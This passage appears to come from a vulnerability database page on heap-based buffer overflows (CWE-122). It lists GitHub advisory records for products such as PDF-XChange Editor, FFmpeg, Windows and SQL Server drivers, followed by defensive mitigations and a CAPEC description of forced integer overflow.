"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8G6V-837R-PF94
Vulnerability from github – Published: 2023-01-26 21:30 – Updated: 2024-11-27 21:32This vulnerability allows remote attackers to execute arbitrary code on affected installations of PDF-XChange Editor. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of EMF files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-18367.
{
"affected": [],
"aliases": [
"CVE-2022-42405"
],
"database_specific": {
"cwe_ids": [
"CWE-122",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-26T18:59:00Z",
"severity": "HIGH"
},
"details": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of PDF-XChange Editor. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of EMF files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-18367.",
"id": "GHSA-8g6v-837r-pf94",
"modified": "2024-11-27T21:32:38Z",
"published": "2023-01-26T21:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42405"
},
{
"type": "WEB",
"url": "https://www.tracker-software.com/product/pdf-xchange-editor/history"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-22-1357"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8G7X-VRFH-74FJ
Vulnerability from github – Published: 2024-04-17 21:30 – Updated: 2025-11-04 18:30FFmpeg version n6.1 was discovered to contain a heap buffer overflow vulnerability in the draw_block_rectangle function of libavfilter/vf_codecview.c. This vulnerability allows attackers to cause undefined behavior or a Denial of Service (DoS) via crafted input.
{
"affected": [],
"aliases": [
"CVE-2024-31582"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-17T19:15:07Z",
"severity": "HIGH"
},
"details": "FFmpeg version n6.1 was discovered to contain a heap buffer overflow vulnerability in the draw_block_rectangle function of libavfilter/vf_codecview.c. This vulnerability allows attackers to cause undefined behavior or a Denial of Service (DoS) via crafted input.",
"id": "GHSA-8g7x-vrfh-74fj",
"modified": "2025-11-04T18:30:48Z",
"published": "2024-04-17T21:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31582"
},
{
"type": "WEB",
"url": "https://github.com/ffmpeg/ffmpeg/commit/99debe5f823f45a482e1dc08de35879aa9c74bd2"
},
{
"type": "WEB",
"url": "https://gist.github.com/1047524396/b47d5efe3bc420fb91dbb77c73c0fff3"
},
{
"type": "WEB",
"url": "https://github.com/FFmpeg/FFmpeg/blob/n6.1.1/libavfilter/vf_codecview.c#L220"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6G7EYH2JAK5OJPVNC6AXYQ5K7YGYNCDN"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IPETICRXUOGRIM4U3BCRTIKE3IZWCSBT"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LE3ASLH6QF2E5OVJI5VA3JSEPJFFFMNY"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6G7EYH2JAK5OJPVNC6AXYQ5K7YGYNCDN"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LE3ASLH6QF2E5OVJI5VA3JSEPJFFFMNY"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8G9X-J663-X595
Vulnerability from github – Published: 2026-10-13 21:32 – Updated: 2026-10-13 21:32Heap-based buffer overflow in Windows Portable Device MTP Driver allows an unauthorized attacker to elevate privileges with a physical attack.
{
"affected": [],
"aliases": [
"CVE-2026-102206"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-13T19:17:45Z",
"severity": "MODERATE"
},
"details": "Heap-based buffer overflow in Windows Portable Device MTP Driver allows an unauthorized attacker to elevate privileges with a physical attack.",
"id": "GHSA-8g9x-j663-x595",
"modified": "2026-10-13T21:32:44Z",
"published": "2026-10-13T21:32:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102206"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102206"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8GFV-66RM-FQMG
Vulnerability from github – Published: 2024-04-09 18:30 – Updated: 2024-04-09 18:30Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-28912"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-09T17:15:50Z",
"severity": "HIGH"
},
"details": "Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability",
"id": "GHSA-8gfv-66rm-fqmg",
"modified": "2024-04-09T18:30:26Z",
"published": "2024-04-09T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28912"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-28912"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8GP6-W6F8-H3C5
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-12 18:30Heap-based buffer overflow in Windows Message Queuing allows an unauthorized attacker to execute code over an adjacent network.
{
"affected": [],
"aliases": [
"CVE-2026-34329"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-12T18:17:06Z",
"severity": "HIGH"
},
"details": "Heap-based buffer overflow in Windows Message Queuing allows an unauthorized attacker to execute code over an adjacent network.",
"id": "GHSA-8gp6-w6f8-h3c5",
"modified": "2026-05-12T18:30:42Z",
"published": "2026-05-12T18:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34329"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34329"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8GPJ-J2H5-7993
Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-16 15:30arduino-TuyaOpen before version 1.2.1 contains a heap-based buffer overflow vulnerability in the DnsServer component. An attacker on the same local area network who controls the LAN DNS server can send malicious DNS responses to overflow the heap buffer, potentially allowing execution of arbitrary code on affected embedded devices.
{
"affected": [],
"aliases": [
"CVE-2026-28519"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:19:28Z",
"severity": "HIGH"
},
"details": "arduino-TuyaOpen before version 1.2.1 contains a heap-based buffer overflow vulnerability in the DnsServer component. An attacker on the same local area network who controls the LAN DNS server can send malicious DNS responses to overflow the heap buffer, potentially allowing execution of arbitrary code on affected embedded devices.",
"id": "GHSA-8gpj-j2h5-7993",
"modified": "2026-03-16T15:30:42Z",
"published": "2026-03-16T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28519"
},
{
"type": "WEB",
"url": "https://github.com/tuya/arduino-TuyaOpen"
},
{
"type": "WEB",
"url": "https://src.tuya.com/announcement/32"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/arduino-tuyaopen-dnsserver-heap-based-buffer-overflow-remote-code-execution"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8GQQ-CQFG-7F8M
Vulnerability from github – Published: 2025-06-10 18:32 – Updated: 2025-06-10 18:32Integer overflow or wraparound in Windows SMB allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2025-32718"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-10T17:21:58Z",
"severity": "HIGH"
},
"details": "Integer overflow or wraparound in Windows SMB allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-8gqq-cqfg-7f8m",
"modified": "2025-06-10T18:32:28Z",
"published": "2025-06-10T18:32:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32718"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-32718"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8GVM-RM96-9P7V
Vulnerability from github – Published: 2024-11-12 18:30 – Updated: 2024-11-12 18:30SQL Server Native Client Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-49010"
],
"database_specific": {
"cwe_ids": [
"CWE-122"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-12T18:15:39Z",
"severity": "HIGH"
},
"details": "SQL Server Native Client Remote Code Execution Vulnerability",
"id": "GHSA-8gvm-rm96-9p7v",
"modified": "2024-11-12T18:30:59Z",
"published": "2024-11-12T18:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49010"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-49010"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Pre-design: Use a language or compiler that performs automatic bounds checking.
Mitigation
Use an abstraction library to abstract away risky APIs. Not a complete solution.
Mitigation MIT-10
Strategy: Environment Hardening
- Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
- D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation MIT-11
Strategy: Environment Hardening
- Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
- Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
- For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation
Implement and perform bounds checking on input.
Mitigation
Strategy: Libraries or Frameworks
Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.
Mitigation
Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.
CAPEC-92: Forced Integer Overflow
This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.